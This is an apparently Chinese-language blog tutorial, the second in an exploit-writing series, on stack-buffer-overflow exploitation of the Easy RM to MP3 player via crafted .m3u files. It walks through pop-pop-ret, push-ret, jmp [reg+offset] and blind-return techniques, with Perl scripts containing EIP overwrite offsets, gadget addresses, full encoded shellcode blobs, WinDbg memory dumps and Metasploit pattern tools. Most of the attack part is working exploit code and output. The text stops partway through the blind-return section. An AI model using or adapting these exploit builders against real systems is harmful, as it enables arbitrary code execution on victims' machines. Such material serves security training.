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exploit编写教程2：栈溢出，跳转至shellcode_栈缓存溢出打开shell
作者：凡人多烦事01 | 2024-06-12 00:14:57
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栈缓存溢出打开shell
exploit编写教程2：栈溢出，跳转至shellcode
这篇blog是为了学习如何用各种方式去构造栈溢出类型漏洞的exp
执行shellcode的多种方法：
- jump/call 寄存器
- pop return
- push return
- jmp[reg + offset]
- blind return
- jmp code
- SHE
- call
1. jmp/call 寄存器
在第一篇中已经详细分析过
2. pop pop ret
这个exp我们依然还使用上一篇分析的Easy RM to MP3的漏洞来编写，在上一章使用jmp register 编写exp的时候，我们已经能够调整缓冲区，使ESP直接指向我们的shellcode。但是如果shellcode入口发生偏移比如：shellcode的入口位于ESP+8的时候，我们又该怎么去编写exp呢？理论上，当ESP+offset已经包含shellcode地址，那么只有pop ret这种方法使可行的…如果不是如此（事情往往并非如此），那么也许还有其他方法。
接下来我们尝试采用pop pop ret的方式来重新调整一下shellcode，在上一章的调试中我们已经知道了覆盖EIP需要26067byte，另外在ESP指向的栈地址（0x000ffd38）前还需要4byte。为了模拟出shellcode起始于ESP+8的假象，我们需要构造出一块栈情况如下的缓冲区：
26067xA，XXXX，INT3中断，7NOP，INT3中断，后面放一些NOP。
这样排列我们就可以将真正的shellcode放置于ESP+8后。
先按上面的思路编写一下我们的shellcode
my $file= "test1.m3u";
my $junk= "A" x 26067;
my $eip = "BBBB"; #overwrite EIP
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\xcc"; #first break
$shellcode = $shellcode . "\x90" x 7; #add 7 more bytes
$shellcode = $shellcode . "\xcc"; #second break
$shellcode = $shellcode . "\x90" x 500; #real shellcode
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
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用Easy RM to MP3打开生成的test1.m3u，中断之后查看一下堆栈，现在中断于EIP我们填写的"BBBB"处，输入d esp查看一下栈的排列，esp指向0x000ffd38处，里面的内容跟我们刚来编写的代码一致：0xCC + 7个0x90 + 0xCC + 500个0x90（shellcode）
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为了让EIP直接跳往EIP+8（我们的payload处），我们需要使用pop ret技术+jmp esp地址来完成此项任务。
一个pop指令可以将栈顶弹出四个byte，我们需要两个pop指令就可以将ESP+8（0x000ffd38+8 = 0x000ffd40）,此时再执行ret指令就会将当前ESP的值（0x000ffd40）赋予EIP。如果在此时的ESP（0x000ffd40)处包含有jmp esp指令的地址，那么此时EIP就将会执行jmp esp指令跳转到此时的ESP（0x000ffd40)处，这样的话我们就必须把我们的shellcode放置在0x000ffd40后面的缓冲区中。
接下来我们需要先找到一个可用的pop pop ret指令的地址，用这串指令的首地址来覆盖EIP，然后在ESP+8处放入jmp esp指令的地址，再后面紧跟着的就是shellcode了。
重新打开Easy RM to MP3然后使用windbg附加进程，使用windbg的汇编功能来搜索一下 pop pop ret指令的位置
ntdll!DbgBreakPoint: 7c92120e cc int 3 0:010> a 7c92120e pop eax pop eax 7c92120f pop ebp pop ebp 7c921210 ret ret 7c921211 0:010> u 7c92120e ntdll!DbgBreakPoint: 7c92120e 58 pop eax 7c92120f 5d pop ebp 7c921210 c3 ret 7c921211 ffcc dec esp 7c921213 c3 ret 7c921214 8bff mov edi,edi 7c921216 8b442404 mov eax,dword ptr [esp+4] 7c92121a cc int 3
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我们可以查到pop eax, pop ebx, ret三条指令对应的机器码为：0x58 0x5d 0xc3
然后我们可以在加载的DLL里面查找包含这三条指令的地址
重新打开windbg并加载Easy RM to MP3
在加载的DLL里面搜索我们需要的指令，这里关于DLL的选择如果每次DLL加载的基址都相同的话我们就选择应用程序的DLL如果每次加载的基址都会改变的话，就选择系统的DLL会更好点
需要注意的是我们选择的地址尽量不要包含有"00"
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现在我们可以使用上面搜索到的地址让我们跳转到ESP+8，现在我们需要在ESP+8处填入jmp esp的地址（前面解释过，ret指令将从这里获取地址，并将其赋值给EIP执行）。
用同样的方法来搜索一下 jmp esp的地址
0:010> s 01940000 l 019b1000 ff e4
01b7f23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$.......
01bb023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff ...M.....T......
01bcd3db ff e4 ca b9 01 20 05 93-19 09 00 00 00 00 d4 bc ..... ..........
01beb22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0 ......W.]...."..
01beb72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26 ...}..7...%#..J&
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此时我们可以将EIP执行到ESP指向的位置了，接下来我们需要用真正的shellcode替换掉原来的500个NOP。
替换后的缓冲区情况如下：
| AAAAAAAAAAAAAAAAAA… | 0x01966a10 | NOP NPO | 0x01b7f23a | SHELLCODE |
|---|---|---|---|---|
| 26067 | EIP | 8 BYTE OFFSET | JMP ESP | |
| POP POP RET |
现在我们构造的exp执行情况如下：
- EIP被pop pop ret 指令的地址覆盖，ESP会指向shellcode偏移8字节的地址；
- pop pop ret被执行之后，EIP会被ESP+8处的（jmp esp）0x01b7f23a指令覆盖，ESP指向shellcode；
- 由于EIP被jmp esp指令的地址覆盖，因此程序会跳转到shellcode执行。
my $file= "test3.m3u"; my $junk= "A" x 26067; my $eip = pack('V',0x01966a10); #overwrite EIP my $jmpesp = pack('V',0x01b7f23a); my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes #my $shellcode = "\xcc"; #first break $shellcode = "\x90" x 8; #add 7 more bytes $shellcode = $shellcode . $jmpesp; #second break $shellcode = $shellcode . "\x90" x 50; #real shellcode $shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" . "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" . "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" . "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" . "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" . "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" . "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" . "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" . "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" . "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" . "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" . "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" . "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" . "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" . "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" . "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" . "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" . "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" . "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" . "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" . "\x31\x42\x4c\x42\x43\x45\x50\x41\x41"; open($FILE,">$file"); print $FILE $junk.$eip.$prependesp.$shellcode; close($FILE); print "m3u File Created successfully\n";
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成功的执行了shellcode弹出了计算器
3. push return
push ret与call [reg]有些相似，如果有个寄存器指向你的shellcode，但是由于某些原因你无法使用jmp[reg]去跳转到shellcode，可以采用：
- 将寄存器地址压入栈中，它将位于栈顶
- ret（从栈中获取返回地址，并跳转到该地址）
为了实现这种方法，你需要用某个dll中的push [reg] + ret 指令串地址去覆盖EIP。为了直接将使用的shellcode放入ESP中，你首先需要搜索‘push esp’和‘ret’的机器码。
0x00 重新运行Easy RM to MP3并用windbg附加
用windbg的汇编搜索功能来寻找一段push esp&ret指令
0:010> a 7c92120f push esp push esp 7c921210 ret ret 7c921211 0:010> u 7c92120f ntdll!DbgBreakPoint+0x1: 7c92120f 54 push esp 7c921210 c3 ret 7c921211 ffcc dec esp 7c921213 c3 ret 7c921214 8bff mov edi,edi 7c921216 8b442404 mov eax,dword ptr [esp+4] 7c92121a cc int 3 7c92121b c20400 ret 4
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可以看到指令对应的机器码为54 c3，然后我们可以从加载的dll里面搜索一条可用的指令地址
0:010> s 01940000 l 019b1000 54 c3
019557f6 54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 c0 T..........D$...
01a01d88 54 c3 fe ff 85 c0 74 5d-53 8b 5c 24 30 57 8d 4c T.....t]S.\$0W.L
01a2cd65 54 c3 8b 87 33 05 00 00-83 f8 06 0f 85 92 01 00 T...3...........
01a2cf2f 54 c3 8b 4c 24 58 8b c6-5f 5e 5d 5b 64 89 0d 00 T..L$X.._^][d...
01a2cf44 54 c3 90 90 90 90 90 90-90 90 90 90 8a 81 da 04 T...............
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选择一个地址，构造exp并运行(直接用call [reg]的exp，将eip修改为我们刚找到的指令地址即可)
my $file= "test_5.m3u"; my $junk= "A" x 26067; my $eip = pack('V',0x019557f6); #overwrite EIP with call esp my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes my $shellcode = "\x90" x 25; #start shellcode with some NOPS $shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" . "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" . "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" . "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" . "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" . "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" . "\x7f\xe8\x7b\xca"; open($FILE,">$file"); print $FILE $junk.$eip.$prependesp.$shellcode; close($FILE); print "m3u File Created successfully\n";
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利用成功
4. jmp [reg + offset]
如果我们的shellcode再寄存器入口处偏移几个字节的位置，也可以用windbg搜索jmp [reg + offset]指令来跳转过去。
0:010> a 7c92120e jmp [esp+8] jmp [esp+8] 7c921212 u 7c92120e u 7c92120e ^ Bad opcode error in 'u 7c92120e ' 7c921212 0:010> u 7c92120e ntdll!DbgBreakPoint: 7c92120e ff642408 jmp dword ptr [esp+8] ntdll!DbgUserBreakPoint: 7c921212 cc int 3 7c921213 c3 ret 7c921214 8bff mov edi,edi 7c921216 8b442404 mov eax,dword ptr [esp+4] 7c92121a cc int 3 7c92121b c20400 ret 4
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看结果我们可以知道jmp [esp+8]对应的机器码为ff642408，我们可以尝试再其它的dll中搜索包含这条指令的地址，不过我搜索了几个dll没有搜索到这条指令
5. Blind return
此利用主要用于在ESP寄存器指向地址可用字节数不多的情况下，设置跳板跳往可以足够容纳我们shellcode地址的地方去执行的方法。
此项技术基于以下步骤：
- 利用ret指令地址覆写EIP
- 在ESP首4字节中对shellcode地址进行硬编码
- 当ret执行时，新添加的4字节（最顶端的值）将从栈中弹出，并赋予EIP
- exploit跳至shellcode执行
因此这种方法在以下情况是可用的：
- 无法将EIP直接指向某寄存器（因为无法使用jmp或call指令，这意味着你需要对shellcode起始地址进行硬编码）
- 可控制ESP中的数据（至少能控制前四字节）
如果我们想要实现上面的利用方法：
需要拥有shellcode的内存地址（即ESP地址）。
- 在DLL中查找到‘ret’指令的地址
先生成一个测试文件来模拟一下堆栈空间
26067个字节A覆盖eip之前的位置+四个字节B覆盖eip + 50个字节的X来作为我们放置跳转指令的地址 + 一段不可用的null
my $file= "blind_return_1.m3u";
my $junk= "A" x 26067;
my $eip = "BBBB";
my $preshellcode = "X" x 54; #let's pretend this is the only space we have available
my $nop = "\x90" x 230; #added some nops to visually separate our 54 X's from other data
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);
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A’s地址距离ESP的偏移
继续往后查看内存，可以看到在ESP+281之后有大段的我们写入的A字符，这表明我们可以使用这段地址来放置我们的shellcode，在X’s位置设置跳转来跳往A’s地址处
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=000066f3 eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 42424242 ?? ??? 0:000> d esp 000ffd38 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 000ffd48 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 000ffd58 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 000ffd68 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90 XX.............. 000ffd78 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffd88 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffd98 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffda8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:000> d 000ffdb8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffdc8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffdd8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffde8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffdf8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe08 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe18 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe28 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:000> d 000ffe38 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe48 90 90 90 90 90 90 90 90-00 41 41 41 41 41 41 41 .........AAAAAAA 000ffe58 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffe68 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffe78 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffe88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffe98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffea8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d 000ffeb8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffec8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffed8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffee8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffef8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000fff08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000fff18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000fff28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d 000fff38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000fff48 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000fff58 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000fff68 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000fff78 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000fff88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000fff98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000fffa8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d 000fffb8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000fffc8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000fffd8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000fffe8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffff8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00100008 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00100018 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00100028 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d 00100038 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
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现在我们如果想要往字符‘A’的地址放置我们的shellcode的话需要确定ESP+281处的字符‘A’位于我们写入的26067个‘A’的具体位置，这样我们才可以将shellcode防止合适的位置
- 用pattern_create.rb工具来生成1000个字节的字符模型来替换A的前1000个字节。
kali@kali:/usr/share/metasploit-framework/tools/exploit$ ./pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
kali@kali:/usr/share/metasploit-framework/tools/exploit$
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编写perl脚本，生成测试文件
my $file= "blind_return_2.m3u";
my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
my $junk= "A" x 25067;
my $eip = "BBBB";
my $preshellcode = "X" x 54; #let's pretend this is the only space we have available at ESP
my $nop = "\x90" x 230; #added some nops to visually separate our 54 X's from other data in the ESP dump
open($FILE,">$file");
print $FILE $pattern.$junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";
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用Easy RM to MP3打开测试文件
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=000066f3 eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 42424242 ?? ??? 0:000> d esp 000ffd38 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 000ffd48 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 000ffd58 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 000ffd68 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90 XX.............. 000ffd78 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffd88 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffd98 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffda8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:000> d 000ffdb8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffdc8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffdd8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffde8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffdf8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe08 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe18 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe28 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:000> d 000ffe38 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe48 90 90 90 90 90 90 90 90-00 35 41 69 36 41 69 37 .........5Ai6Ai7 000ffe58 41 69 38 41 69 39 41 6a-30 41 6a 31 41 6a 32 41 Ai8Ai9Aj0Aj1Aj2A 000ffe68 6a 33 41 6a 34 41 6a 35-41 6a 36 41 6a 37 41 6a j3Aj4Aj5Aj6Aj7Aj 000ffe78 38 41 6a 39 41 6b 30 41-6b 31 41 6b 32 41 6b 33 8Aj9Ak0Ak1Ak2Ak3 000ffe88 41 6b 34 41 6b 35 41 6b-36 41 6b 37 41 6b 38 41 Ak4Ak5Ak6Ak7Ak8A 000ffe98 6b 39 41 6c 30 41 6c 31-41 6c 32 41 6c 33 41 6c k9Al0Al1Al2Al3Al 000ffea8 34 41 6c 35 41 6c 36 41-6c 37 41 6c 38 41 6c 39 4Al5Al6Al7Al8Al9 0:000> d 000ffeb8 41 6d 30 41 6d 31 41 6d-32 41 6d 33 41 6d 34 41 Am0Am1Am2Am3Am4A 000ffec8 6d 35 41 6d 36 41 6d 37-41 6d 38 41 6d 39 41 6e m5Am6Am7Am8Am9An 000ffed8 30 41 6e 31 41 6e 32 41-6e 33 41 6e 34 41 6e 35 0An1An2An3An4An5 000ffee8 41 6e 36 41 6e 37 41 6e-38 41 6e 39 41 6f 30 41 An6An7An8An9Ao0A 000ffef8 6f 31 41 6f 32 41 6f 33-41 6f 34 41 6f 35 41 6f o1Ao2Ao3Ao4Ao5Ao 000fff08 36 41 6f 37 41 6f 38 41-6f 39 41 70 30 41 70 31 6Ao7Ao8Ao9Ap0Ap1 000fff18 41 70 32 41 70 33 41 70-34 41 70 35 41 70 36 41 Ap2Ap3Ap4Ap5Ap6A 000fff28 70 37 41 70 38 41 70 39-41 71 30 41 71 31 41 71 p7Ap8Ap9Aq0Aq1Aq
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可以看到模式字符串从5Ai6开始，借助pattern_offset.rb工具来定位一下5Ai6在模式字符串中的位置
kali@kali:/usr/share/metasploit-framework/tools/exploit$ ./pattern_offset.rb -q 5Ai6
[*] Exact match at offset 257
kali@kali:/usr/share/metasploit-framework/tools/exploit$
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可以看到这4个字符的偏移量为257，这下我们可以设计我们要放置shellcode的位置，将文件的前257个字节放置不影响shellcode执行的字符，之后加上我们的shellcode然后剩余的字节还是填充为A。
编写perl脚本查看一下内存是否如我们所想的一样
my $file= "blind_return_3.m3u";
my $buffersize = 26067;
my $junk= "A" x 250;
my $nop = "\x90" x50; #250个字节的A加上一些不影响执行的nop（在内存空间足够用的时候在计算的shellcode地址之前填充一些nop指令可以让我们的shellcode适应性更强一点）
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize - (length($junk) + length($nop) + length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 54; #let's pretend this is the only space we have available at ESP
my $nop2 = "\x90" x 230; #added some nops to visually separate our 54 X's from other data in the ESP dump
open($FILE,">$file");
print $FILE $junk.$nop.$shellcode.$restofbuffer.$eip.$preshellcode.$nop2;
close($FILE);
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当程序中断后我们可以看到，NOP起始于0x000ffe51,后面是我们的shellcode（0xCC)，再之后是一串A字符。
接下来我们需要在ESP（上图中X的地址）中放入jmpshellcode指令，来帮助我们跳转到ESP+281的位置。
所以我们需要在内存中寻找指令将ESP+281（或者可以稍大一点，因为我们在shellcode前放置了NOP串，这可以使shellcode的设计具有一定的灵活性）然后再使用jmp esp指令跳转到我们shellcode的位置。
这里我们可以寻找三个add esp,0x50e指令，0x5e * 3 = 11Ah > 281(119h)，然后再寻找一个jmp esp指令就构成了我们的jmpshellcode了。
